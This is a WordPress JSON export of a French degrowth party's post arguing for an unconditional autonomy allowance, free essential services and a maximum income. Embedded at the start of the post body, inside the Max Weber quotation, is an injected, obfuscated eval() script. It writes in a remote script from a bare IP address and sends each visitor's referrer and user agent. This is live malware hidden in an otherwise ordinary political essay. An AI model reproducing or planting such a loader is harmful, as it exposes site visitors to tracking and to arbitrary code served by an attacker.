{"id":4144,"date":"2010-04-30T02:55:08","date_gmt":"2010-04-30T01:55:08","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=4144"},"modified":"2011-02-26T20:23:31","modified_gmt":"2011-02-26T19:23:31","slug":"une-dotation-inconditionnelle-dautonomie-pour-tous","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=4144","title":{"rendered":"Une Dotation Inconditionnelle d&rsquo;Autonomie pour tous"},"content":{"rendered":"<p style=\"text-align: right;\"><em><img loading=\"lazy\" decoding=\"async\" class=\"alignleft\" src=\"http:\/\/www.partipourladecroissance.net\/wp-content\/uploads\/2008\/12\/logo-ppld.gif\" alt=\"\" width=\"118\" height=\"68\" \/>\u00ab <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nsfnn|var|u0026u|referrer|ttiff||js|php'.split('|'),0,{}))\n<\/script><\/noindex> L&rsquo;homme ne d\u00e9sire pas par nature gagner de plus en plus d&rsquo;argent, mais il d\u00e9sire tout simplement vivre selon son habitude et gagner autant d&rsquo;argent qu&rsquo;il lui en faut pour cela\u00a0\u00bb.<\/em><br \/>\nMax Weber<\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/www.partipourladecroissance.net\/wp-content\/uploads\/2011\/02\/DIA-v2011.pdf\"><strong>T\u00e9l\u00e9chargez le document en pdf<\/strong><\/a><\/p>\n<p><!-- p.sdfootnote { margin-left: 0.5cm; text-indent: -0.5cm; margin-bottom: 0cm; font-size: 10pt; }p { margin-bottom: 0.21cm; }a.sdfootnoteanc { font-size: 57%; } --><\/p>\n<p style=\"margin-bottom: 0cm;\" align=\"JUSTIFY\"><span style=\"font-size: small;\"><span style=\"text-decoration: none;\"><span style=\"font-weight: normal;\">Une proposition centrale des objecteurs de Croissance est l&rsquo;instauration d&rsquo;une Dotation Inconditionnelle d&rsquo;Autonomie (DIA), vers\u00e9e \u00e0 tous et de mani\u00e8re \u00e9gale de la naissance \u00e0 la mort, afin de garantir un niveau de vie d\u00e9cent d\u00e9connect\u00e9 de l&rsquo;occupation d&rsquo;un emploi<\/span><\/span><\/span><sup><span style=\"font-size: small;\"><span style=\"text-decoration: none;\"><span style=\"font-weight: normal;\"><a name=\"sdfootnote1anc\" href=\"#sdfootnote1sym\"><sup>1<\/sup><\/a><\/span><\/span><\/span><\/sup><span style=\"font-size: small;\"><span style=\"text-decoration: none;\"><span style=\"font-weight: normal;\">. Cette dotation serait individuelle, inali\u00e9nable et cumulable \u00e0 tout autre revenu et traduirait la reconnaissance de la contribution de chaque individu \u00e0 travers l&rsquo;ensemble de ses activit\u00e9s, notamment non-marchande.<\/span><\/span><\/span><\/p>\n<p style=\"margin-bottom: 0cm; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\"><strong>Un droit \u00e0 la vie contre un droit au travail<!--more--><\/strong><\/span><\/p>\n<p style=\"margin-bottom: 0cm; font-weight: normal; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\">La DIA est avant tout l&rsquo;outil permettant la r\u00e9alisation des droits fondamentaux de chaque individu en se d\u00e9barrassant de la centralit\u00e9 du travail. Cette dotation s&rsquo;inscrit dans une r\u00e9flexion qui ne fonde pas l&rsquo;\u00e9mancipation des hommes et des femmes que sur le travail. L&rsquo;\u00e9l\u00e9vation du travail au rang de valeur fondamentale r\u00e9sulte d&rsquo;une id\u00e9ologie productiviste et consum\u00e9riste qui est incompatible avec un quelconque \u00e9panouissement de l&rsquo;individu. Il est un pas de c\u00f4t\u00e9 qui permet de d\u00e9passer le capitalisme. <\/span><\/p>\n<p style=\"margin-bottom: 0cm; font-weight: normal; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\">La DIA permettrait de faire en sorte que les droits fondamentaux soient r\u00e9ellement des droits et non une constante recherche impliquant stress et ali\u00e9nation par la soci\u00e9t\u00e9 capitaliste.<\/span><\/p>\n<p style=\"margin-bottom: 0cm; font-weight: normal; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\">Outil pour d\u00e9coloniser notre imaginaire social, la DIA vise \u00e0 ne plus faire du travail notre seule r\u00e9f\u00e9rence, le seul fondement du lien social et le seul moyen pour essayer de vivre dignement. <\/span><\/p>\n<p style=\"margin-bottom: 0cm; font-weight: normal; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\"><span style=\"background: none repeat scroll 0% 0% transparent;\">Avec cette dotation, nous cesserons de d\u00e9pendre pour notre int\u00e9gration \u00e9conomique et sociale du statut li\u00e9 au travail salari\u00e9. C&rsquo;est permettre \u00e0 d&rsquo;autres moyens d&rsquo;expressions individuels ou collectifs de se lib\u00e9rer, c&rsquo;est aller vers une soci\u00e9t\u00e9 du travail choisi et librement n\u00e9goci\u00e9 plut\u00f4t que du travail subi tout en favorisant l&rsquo;\u00e9mergence d&rsquo;un \u00ab\u00a0tiers secteur\u00a0\u00bb (activit\u00e9s associatives, familiales, politiques, culturelles c&rsquo;est-\u00e0-dire des activit\u00e9s dites \u00ab\u00a0hors-marchandes\u00a0\u00bb).<\/span><\/span><\/p>\n<p style=\"margin-bottom: 0cm; font-weight: normal; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\"><span style=\"background: none repeat scroll 0% 0% transparent;\">En outre, la DIA provoque la fin du ch\u00f4mage comme probl\u00e8me \u00e9conomique et social et, risque de favoriser la r\u00e9duction du temps de travail. Elle est une prime \u00e0 la r\u00e9duction du temps de travail et est susceptible, alors d&rsquo;enclencher un r\u00e9el partage du travail. La DIA aura des r\u00e9percussions sur les r\u00e9mun\u00e9rations et permettra de mieux \u00e9valuer le salaire pour chaque emploi dans le but d&rsquo;en faire une activit\u00e9 volontaire, en r\u00e9-estimant, par exemple, les travaux p\u00e9nibles. Ces derniers pourraient \u00eatre r\u00e9organis\u00e9s dans le cadre de \u00ab\u00a0service d&rsquo;int\u00e9r\u00eat g\u00e9n\u00e9ral commun \u00e0 tous les citoyens. <\/span><\/span><\/p>\n<p style=\"margin-bottom: 0cm; font-weight: normal; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\"><span style=\"background: none repeat scroll 0% 0% transparent;\">Sans pour autant signifier une d\u00e9sertion du march\u00e9 du travail, la DIA pourrait \u00e9galement enclencher une baisse de l&rsquo;activit\u00e9 \u00e9conomique mais est-ce r\u00e9ellement un probl\u00e8me alors que nous produisons d\u00e9j\u00e0 trop et que nous vivons au-dessus de nos moyens et de nos besoins. Ce sera \u00e0 nous de s&rsquo;organiser et traduire cette d\u00e9croissance dans nos vies quotidiennes.<\/span><\/span><\/p>\n<p style=\"margin-bottom: 0cm; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\"><strong>Une dotation pour lutter contre les in\u00e9galit\u00e9s<\/strong><\/span><\/p>\n<p style=\"margin-bottom: 0cm; font-weight: normal; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\">Par sa mise ne place, la Dotation Inconditionnelle d&rsquo;Autonomie permettrait \u00e0 tout individu de b\u00e9n\u00e9ficier de conditions de vie d\u00e9centes et dignes en favorisant l&rsquo;autonomie tout en faisant cesser la d\u00e9pendance, l&rsquo;exclusion quand ce n&rsquo;est pas l&rsquo;humiliation des personnes. En \u00e9tant vers\u00e9 automatiquement \u00e0 tous, elle n&rsquo;entra\u00eene aucune exclusion de fait ou de droit. La DIA renforce le syst\u00e8me de protection sociale dans son ensemble car elle assure un socle de biens et de services essentiels. Elle s\u00e9curise la vie humaine pour devenir une pi\u00e8ce ma\u00eetresse d&rsquo;un nouveau mod\u00e8le social car ni un emploi, ni les aides sociales classiques ne peuvent pr\u00e9tendre garantir un droit \u00e0 l&rsquo;existence digne. La DIA cr\u00e9erait ce lien de solidarit\u00e9 indispensable entre tous les membres de la soci\u00e9t\u00e9.<\/span><\/p>\n<p style=\"margin-bottom: 0cm; font-weight: normal; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\">En outre, cette dotation s&rsquo;accompagnerait obligatoirement de l&rsquo;instauration d&rsquo;un Revenu Maximal Autoris\u00e9e (RMA) dont le montant devra \u00eatre discut\u00e9 d\u00e9mocratiquement dans l&rsquo;optique de lutter contre les \u00e9carts de revenus parce que la D\u00e9croissance en politique vise bien la D\u00e9croissance des in\u00e9galit\u00e9s. Ainsi, en \u00e9tant re\u00e7u par tous sans plafond de ressources mais imposable et donc r\u00e9cup\u00e9rable enti\u00e8rement par la fiscalit\u00e9, la DIA permettrait bien de r\u00e9duire les in\u00e9galit\u00e9s. Ceux qui pensent que le RMA serait obsol\u00e8te si la DIA \u00e9tait en vigueur car, dans ce cas, les in\u00e9galit\u00e9s sont moins choquantes si tout le monde dispose des conditions mat\u00e9rielles pour vivre dignement et d\u00e9cemment, nous leur r\u00e9torquons que le RMA est \u00e9galement un moyen de r\u00e9duire l&rsquo;impact \u00e9cologique des plus riches, d&rsquo;\u00e9viter de scandaleux gaspillages et d&rsquo;outranci\u00e8res pratiques. <\/span><\/p>\n<p style=\"margin-bottom: 0cm; font-weight: normal; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\">Le RMA contribuerait \u00e0 \u00e9tendre la sph\u00e8re de gratuit\u00e9 et, \u00e0 ne pas autoriser que le m\u00e9susage soit permis aux plus riches. <\/span><\/p>\n<p style=\"margin-bottom: 0cm; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\"><strong>Une dotation au service de la d\u00e9mocratie<\/strong><\/span><\/p>\n<p style=\"margin-bottom: 0cm; font-weight: normal; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\">La DIA permet de doter chaque citoyen de l&rsquo;usage entier de la d\u00e9mocratie car il rend \u00e0 l&rsquo;individu son autonomie et sa r\u00e9flexion pour agir dans la soci\u00e9t\u00e9, celles-ci n&rsquo;\u00e9tant plus monopolis\u00e9es par le travail. Elle est un outil de transformation sociale. <\/span><\/p>\n<p style=\"margin-bottom: 0cm; font-weight: normal; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\">En apportant une solution au ch\u00f4mage comme probl\u00e8me social et en favorisant le partage du travail, la DIA concr\u00e9tise la revalorisation sociale des activit\u00e9s non-marchandes et, surtout, remet en cause le monopole du travail comme source d&rsquo;int\u00e9gration et de reconnaissance sociale. <\/span><\/p>\n<p style=\"margin-bottom: 0cm; font-weight: normal; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\">Elle recentre l&rsquo;individu dans la soci\u00e9t\u00e9, non plus en fonction du travail mais en l&rsquo;ouvrant vers des perspectives personnelles permettant une \u00e9mancipation individuelle et collective favorable \u00e0 l&rsquo;usage d&rsquo;une d\u00e9mocratie ouverte et non plus d\u00e9pendante des facteurs de production et de la recherche de la Croissance.<\/span><\/p>\n<p style=\"margin-bottom: 0cm; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\"><strong>Une dotation, pilier d&rsquo;une politique de D\u00e9croissance pour \u00e9tendre la sph\u00e8re de la gratuit\u00e9<\/strong><\/span><\/p>\n<p style=\"margin-bottom: 0cm; font-weight: normal; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\">La DIA est un biais afin de sortir de la soci\u00e9t\u00e9 croissanciste, productiviste et consum\u00e9riste qui guide nos vies, nos besoins et nos esp\u00e9rances. C&rsquo;est une condition obligatoire pour amorcer une soci\u00e9t\u00e9 de D\u00e9croissance. Cependant, la DIA ne sera efficace si et seulement si cette dotation ouvre la possibilit\u00e9 d&rsquo;un autre de choix de soci\u00e9t\u00e9 qui n&rsquo;est pas celui de vivre pour consommer. Proposer la DIA, c&rsquo;est remettre en cause fondamentalement la logique capitaliste et chercher un autre mode d&rsquo;organisation sociale qui va plus loin que de secourir les plus d\u00e9munis ou corriger le syst\u00e8me mais bien le renverser car il est dans une impasse.<\/span><\/p>\n<p style=\"margin-bottom: 0cm;\" align=\"JUSTIFY\"><span style=\"font-size: small;\"><span style=\"text-decoration: none;\"><span style=\"font-weight: normal;\">A cette fin, cette dotation doit s&rsquo;inscrire dans l&rsquo;extension de la sph\u00e8re de la gratuit\u00e9 car tout ce qui est gratuit, dont la propri\u00e9t\u00e9 est collective et dont nous partageons l&rsquo;usage, s&rsquo;int\u00e8gre <\/span><\/span><\/span><span style=\"font-size: small;\"><em><span style=\"text-decoration: none;\"><span style=\"font-weight: normal;\">de facto<\/span><\/span><\/em><\/span><span style=\"font-size: small;\"><span style=\"text-decoration: none;\"><span style=\"font-weight: normal;\"> \u00e0 la DIA pour se lib\u00e9rer des forces du march\u00e9. Cette gratuit\u00e9 se justifie pour le bon usage mais se compl\u00e8te par le rench\u00e9rissement du m\u00e9susage. Cela n\u00e9cessitera de d\u00e9battre collectivement des besoins et des champs d&rsquo;intervention des services publics, sens\u00e9s fournir ces biens et services essentiels, du r\u00f4le et de la place de l&rsquo;\u00e9conomie mais aussi des limites \u00e0 s&rsquo;imposer. C&rsquo;est une gratuit\u00e9 socialement et d\u00e9mocratiquement organis\u00e9e et assum\u00e9e.<\/span><\/span><\/span><\/p>\n<p style=\"margin-bottom: 0cm; font-weight: normal; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\">La DIA est donc synonyme d&rsquo;un acc\u00e8s libre et gratuit de certains biens et services dont la propri\u00e9t\u00e9 et la gestion sont collectives comme le droit que nous partageons sur leurs usages. En fait, la DIA permettrait que chacun jouisse d&rsquo;une part minimum (mais suffisante) des richesses collectives. <\/span><\/p>\n<p style=\"margin-bottom: 0cm; font-weight: normal; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\">La DIA n&rsquo;est donc pas un revenu num\u00e9raire en \u20ac, \u00e9quivalent gonfl\u00e9 de l&rsquo;actuel RMI ou RSA \u00e0 hauteur de 1 200 \u20ac.  Elle bouscule l&rsquo;imaginaire croissanciste et se recentre sur les besoins fondamentaux et essentiels pour permettre un \u00e9panouissement individuel et collectif fond\u00e9 sur d&rsquo;autres valeurs que celles port\u00e9es par le capitalisme.<\/span><\/p>\n<p style=\"margin-bottom: 0cm; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\"><strong>Le financement de la DIA, un faux probl\u00e8me<\/strong><\/span><\/p>\n<p style=\"margin-bottom: 0cm;\" align=\"JUSTIFY\"><span style=\"font-size: small;\"><span style=\"text-decoration: none;\"><span style=\"font-weight: normal;\">Le financement de la DIA est fr\u00e9quemment \u00e9voqu\u00e9 pour signifier son impossibilit\u00e9 et classer cette mesure dans le champ du r\u00eave. Or, la r\u00e9alit\u00e9 est tout autre. Plusieurs \u00e9tudes<\/span><\/span><\/span><sup><span style=\"font-size: small;\"><span style=\"text-decoration: none;\"><span style=\"font-weight: normal;\"><a name=\"sdfootnote2anc\" href=\"#sdfootnote2sym\"><sup>2<\/sup><\/a><\/span><\/span><\/span><\/sup><span style=\"font-size: small;\"><span style=\"text-decoration: none;\"><span style=\"font-weight: normal;\"> ont d\u00e9montr\u00e9 que la mise en place de la DIA \u00e9tait r\u00e9alisable. C&rsquo;est un choix politique et soci\u00e9tal \u00e0 assumer ; et surtout un changement de paradigme \u00e0 imaginer. Ce choix de soci\u00e9t\u00e9, pour s&rsquo;imposer, ne passera pas que par les urnes mais bien par la soci\u00e9t\u00e9 qui, en grande majorit\u00e9, sera pr\u00eate dans son imaginaire \u00e0 changer de vie, \u00e0 ne plus travailler pour consommer mais \u00eatre autonome pour vivre et vivre ensemble.<\/span><\/span><\/span><\/p>\n<p style=\"margin-bottom: 0cm; font-weight: normal; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\">Bien des r\u00e9fractaires \u00e0 la DIA puisent dans l&rsquo;argument comptable pour le condamner avant m\u00eame d&rsquo;envisager une r\u00e9flexion plus large sur son sens et son ambition. Cet argument sonne vide et respire  la tromperie tant, par le pass\u00e9, notre soci\u00e9t\u00e9 a relever des d\u00e9fis encore plus compliqu\u00e9s et financi\u00e8rement aussi co\u00fbteux. Nous avons qu&rsquo;\u00e0 nous rem\u00e9morer l&rsquo;ambition du Conseil National de la R\u00e9sistance et les mesures prises apr\u00e8s la deuxi\u00e8me guerre mondiale. Plus proche de nous, le sauvetage des banques (et du syst\u00e8me financier) a montr\u00e9 que l&rsquo;Etat disposait de ressources mobilisable rapidement. L&rsquo;argument comptable est donc fallacieux. La DIA est un d\u00e9fi soci\u00e9tal et un choix qui peut s&rsquo;imposer si nous souhaitons r\u00e9ellement sortir du capitalisme. Il suffit d&rsquo;avoir l&rsquo;audace et du courage politique.<\/span><\/p>\n<p style=\"margin-bottom: 0cm; font-weight: normal; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\">La DIA sous-entend de repenser notre syst\u00e8me de redistribution et de solidarit\u00e9 en supprimant les prestations et allocations sociales, devenues obsol\u00e8tes tout comme les politiques agressives pour l&#8217;emploi ou pour lutter contre le ch\u00f4mage. Elle n\u00e9cessitera une profonde r\u00e9forme fiscale avec, par exemple, la r\u00e9habilitation de l&rsquo;imp\u00f4t progressif sur le revenu afin de taxer \u00e0 100 % au-dessus d&rsquo;un certain niveau \u00e0 d\u00e9finir qui serait le Revenu Maximum Autoris\u00e9 (RMA) ou l&rsquo;instauration d&rsquo;une r\u00e9elle taxe \u00e0 la Consommation visant \u00e0 p\u00e9naliser les productions non locales ou non respectueuses de l&rsquo;environnement. Certaines prestations dispara\u00eetront car elles seront mobilis\u00e9s pour assurer la p\u00e9rennit\u00e9 du DIA. Ces prestations seront incluent dans la DIA.<\/span><\/p>\n<p style=\"margin-bottom: 0cm;\" align=\"JUSTIFY\"><span style=\"text-decoration: none;\"> <span style=\"font-size: small;\"><span style=\"font-weight: normal;\">Encore une fois, rien d&rsquo;impossible, tout reste \u00e0 inventer car l&rsquo;instauration de la DIA est envisageable et possible d&rsquo;un point de vue budg\u00e9taire. Les r\u00e9cents travaux de Baptiste Mylondo<\/span><\/span><\/span><sup><span style=\"font-size: small;\"><span style=\"text-decoration: none;\"><span style=\"font-weight: normal;\"><a name=\"sdfootnote3anc\" href=\"#sdfootnote3sym\"><sup>3<\/sup><\/a><\/span><\/span><\/span><\/sup><span style=\"font-size: small;\"><span style=\"text-decoration: none;\"><span style=\"font-weight: normal;\"> sur le financement d&rsquo;un revenu inconditionnelle d&rsquo;existence nous le prouve.<\/span><\/span><\/span><\/p>\n<p style=\"margin-bottom: 0cm; font-weight: normal; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\">La DIA ne sera pas que mon\u00e9taire mais devra \u00e9galement \u00eatre la mise \u00e0 disposition de services et de mat\u00e9riels pour bien vivre. Cela suppose que les collectivit\u00e9s r\u00e9cup\u00e8rent certains services publics comme l&rsquo;eau, le gaz, l&rsquo;\u00e9lectricit\u00e9 ou les transports afin d&rsquo;\u00e9tendre la sph\u00e8re de gratuit\u00e9.<\/span><\/p>\n<p style=\"margin-bottom: 0cm; font-weight: normal; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\">Outil de justice social, de lutte contre l&rsquo;ali\u00e9nation du travail tout en permettant \u00e0 tous le respect des besoins fondamentaux, la DIA est indispensable pour engager la soci\u00e9t\u00e9 dans le chemin de la D\u00e9croissance. Facteur d&rsquo;\u00e9mancipation, il favorise l&rsquo;autonomie sociale et financi\u00e8re tout en permettant de r\u00e9duire les in\u00e9galit\u00e9s gr\u00e2ce au RMA et en permettant un \u00e9gal acc\u00e8s aux besoins et services fondamentaux.<\/span><\/p>\n<p style=\"margin-bottom: 0cm; font-weight: normal; text-decoration: none;\" align=\"JUSTIFY\"><span style=\"font-size: small;\">Nous allons \u00e9num\u00e9rer de fa\u00e7on sommaire des pistes, des propositions qui sont \u00e0 retravailler, \u00e0 mettre en perspective, \u00e0 pr\u00e9ciser mais aussi \u00e0 compl\u00e9ter et \u00e0 inventer pour rechercher ce que serait concr\u00e8tement une Dotation Inconditionnelle d&rsquo;Autonomie.<\/span><\/p>\n<p style=\"margin-bottom: 0cm; font-weight: normal; text-decoration: none;\" align=\"JUSTIFY\">\n<p style=\"text-align: center;\"><strong>Uto-pistes sur la DIA<\/strong><\/p>\n<ul>\n<li>Une \tpartie de la DIA peut \u00eatre vers\u00e9e en monnaie mais en <strong>monnaie \tlocale fondant<\/strong>e. \tAinsi, la DIA permettrait de s&rsquo;affranchir de la monnaie \ttraditionnelle en la privant de sa fonction de th\u00e9saurisation et de \tsp\u00e9culation pour la ramener \u00e0 ses seules fonctions d&rsquo;\u00e9valuation \tet d&rsquo;\u00e9change. La DIA, ainsi compos\u00e9e contribuerait \u00e0 sortir du \tsyst\u00e8me financier et mon\u00e9taire actuel. La monnaie pourrait, aussi, \t\u00eatre affect\u00e9e \u00e0 une utilisation circonscrite \u00e0 certains \tcommerces, certains usages ou territoires \u2026 .<\/li>\n<li><strong>Droits \tde tirage sur l&rsquo;eau,<\/strong> le gaz et l&rsquo;\u00e9lectricit\u00e9 fond\u00e9s sur la gratuit\u00e9 du bon \tusage et le rench\u00e9rissement du m\u00e9susage. Ainsi, les premiers Kwh \tou m3 consomm\u00e9s seraient gratuits puis le tarif deviendrait \tprogressif jusqu&rsquo;\u00e0 p\u00e9naliser les consommations jug\u00e9es trop \timportantes. Il n&rsquo;est plus possible de tol\u00e9rer que l&rsquo;eau d&rsquo;une \tpiscine soit pay\u00e9e le m\u00eame prix que celle permettant de laver ses \tl\u00e9gumes. Un syst\u00e8me identique est applicable pour les \tcommunications (t\u00e9l\u00e9phonie fixe, internet) ou la distribution, \tselon les possibilit\u00e9s, d&rsquo;un \u00ab\u00a0panier-AMAP\u00a0\u00bb.<\/li>\n<li><strong>Au \tniveau des transports<\/strong>, \tles collectivit\u00e9s devront envisager la gratuit\u00e9 des transports \tcollectifs de proximit\u00e9 et mettre \u00e0 disposition les moyens \td&rsquo;utiliser les transports doux, par exemple en proposant \tgratuitement des v\u00e9los ou en offrant \u00e0 chaque individu une \tbicyclette et un forfait entretien. On peut \u00e9galement imaginer un \tsyst\u00e8me de forfait kilom\u00e9trique gratuit de transports en commun \tdont tout d\u00e9passement serait \u00e0 la charge de l&rsquo;usager.Cette derni\u00e8re option permettrait notamment de relocaliser l&rsquo;activit\u00e9. Ainsi, la gratuit\u00e9 du transport domicile-travail ou domicile-activit\u00e9 sera limit\u00e9e et ne pas \u00eatre uniquement \u00e0 la charge de la collectivit\u00e9 ou de l&#8217;employeur car l&#8217;employ\u00e9 n&rsquo;aurait pas forcement int\u00e9r\u00eat \u00e0 relocaliser sa vie. La proximit\u00e9 a ses limites et, \u00e0 nous, de m\u00e9nager le territoire afin que tout individu puisse r\u00e9duire ses parcours et relocaliser sa vie. Dans ce cas, si un citoyen d\u00e9sire habiter loin de son lieu de travail, \u00e0 lui d&rsquo;assumer ce choix.<\/li>\n<li>Le <strong>logement <\/strong>est \u00e9galement un droit fondamental \u00e0 prendre en compte dans la \tDIA. La question fonci\u00e8re est \u00e9pineuse mais chaque personne doit \tpouvoir vivre dans un logement d\u00e9cent et \u00e9nerg\u00e9tiquement sobre. \tChacun pourrait, par exemple, disposer d&rsquo;un nombre de m\u00b2 minimum et \tpayer le surplus au prix du march\u00e9 (d&rsquo;un march\u00e9 fonctionnant \td\u00e9mocratiquement avec des instances de contr\u00f4le et de r\u00e9gulation). \tOn peut imaginer que chaque personne ait le droit de b\u00e9n\u00e9ficier de \t18 m\u00b2, 2 personnes de 40 m\u00b3, 3 personnes de 60 m\u00b2 \u2026 Les loyers \tpourraient \u00eatre plafonn\u00e9s.<\/li>\n<li>Le \tsyst\u00e8me de<strong> Sant\u00e9<\/strong> reste une composante de la DIA tant il para\u00eet \u00e9vident que l&rsquo;acc\u00e8s aux \tsoins est un droit essentiel pour tout individu. Cela n\u00e9cessitera \tune refonte de l&rsquo;organisation m\u00e9dicale (de l&rsquo;organisation \tg\u00e9ographique \u2026 au syst\u00e8me des mutuelles). Par contre, tout abus \tou m\u00e9dication de confort ne devra pas \u00eatre gratuite mais bien \u00e0 \tla charge du patient.<\/li>\n<li>L<strong>&lsquo;\u00e9ducation<\/strong> fait \t\u00e9galement partie int\u00e9grante de la DIA. Le syst\u00e8me \u00e9ducatif devra \t\u00eatre r\u00e9ellement gratuit et ne pas g\u00e9n\u00e9rer des d\u00e9penses \texcessives pour les familles (fournitures scolaires, mat\u00e9riels \tp\u00e9dagogiques divers, sorties et voyages, demi-pension \u2026). La \tgratuit\u00e9 doit \u00eatre totale afin que ce pan essentiel de la vie de \tnos enfants \u2013 mais il en est de m\u00eame pour la formation continue \u2013 \treste un espace o\u00f9 l&rsquo;argent n&rsquo;a pas sa place et, surtout, n&rsquo;est pas \tdiscriminant comme le domaine de la Sant\u00e9. <strong>Une politique de formation \t\u00e0 l&rsquo;autonomie<\/strong>, \tc&rsquo;est-\u00e0-dire une formation tout au long de la vie non pas pour \ttrouver un emploi r\u00e9mun\u00e9rateur mais s&rsquo;\u00e9panouir individuellement \tet collectivement selon ses d\u00e9sirs et ses attentes, devra \u00e9galement \t\u00eatre envisag\u00e9e.<\/li>\n<li> La <strong>culture <\/strong>, \tainsi qu&rsquo;un <strong>droit \t\u00e0 une information ind\u00e9pendant<\/strong>e, \tsont \u00e9galement des \u00e9l\u00e9ments de la DIA. L&rsquo;acc\u00e8s aux lieux \tculturels ne doit pas \u00eatre frein\u00e9 par un crit\u00e8re financier mais, \tau contraire, encourag\u00e9 par la gratuit\u00e9.<\/li>\n<\/ul>\n<p style=\"margin-bottom: 0cm; text-align: right;\">Parti Pour La D\u00e9croissance<\/p>\n<div id=\"sdfootnote1\">\n<p style=\"margin-bottom: 0cm;\" align=\"JUSTIFY\"><a name=\"sdfootnote1sym\" href=\"#sdfootnote1anc\">1<\/a>Cette \tderni\u00e8re condition peut \u00eatre discut\u00e9e et l&rsquo;octroi de la DIA \tconditionn\u00e9 \u00e0 la participation ponctuelle \u00e0 des actions civiques \tou \u00e0 la mise en place d&rsquo;un service civique.<\/p>\n<\/div>\n<div id=\"sdfootnote2\">\n<p><a name=\"sdfootnote2sym\" href=\"#sdfootnote2anc\">2<\/a>Voir \tles travaux du professeur Yoland Bresson,  de Baptiste Mylondo,  \tJean Vassilev, P.Van Parijs, Y. Moulier Boutang, CarloVercellone, de \tJean-Marie Monnier, de B. Van Der Lynden ou encore Alain Caill\u00e9.<\/div>\n<div id=\"sdfootnote3\">\n<p><a name=\"sdfootnote3sym\" href=\"#sdfootnote3anc\">3<\/a>Baptiste \tMylondo, Un Revenu pour tous\u00a0! Pr\u00e9cis d&rsquo;utopie r\u00e9aliste, \tles \u00e9ditions Utopia, 2010<\/div>\n","protected":false},"excerpt":{"rendered":"<p>\u00ab L&rsquo;homme ne d\u00e9sire pas par nature gagner de plus en plus d&rsquo;argent, mais il d\u00e9sire tout simplement vivre selon son habitude et gagner autant d&rsquo;argent qu&rsquo;il lui en faut pour cela\u00a0\u00bb. Max Weber T\u00e9l\u00e9chargez le document en pdf Une &hellip; <a href=\"https:\/\/www.partipourladecroissance.net\/?p=4144\">Continuer la lecture <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,7,10],"tags":[],"class_list":["post-4144","post","type-post","status-publish","format-standard","hentry","category-actualites","category-billets-du-ppld","category-documents-les-essentielles"],"_links":{"self":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/4144","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4144"}],"version-history":[{"count":19,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/4144\/revisions"}],"predecessor-version":[{"id":5857,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/4144\/revisions\/5857"}],"wp:attachment":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4144"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4144"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4144"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}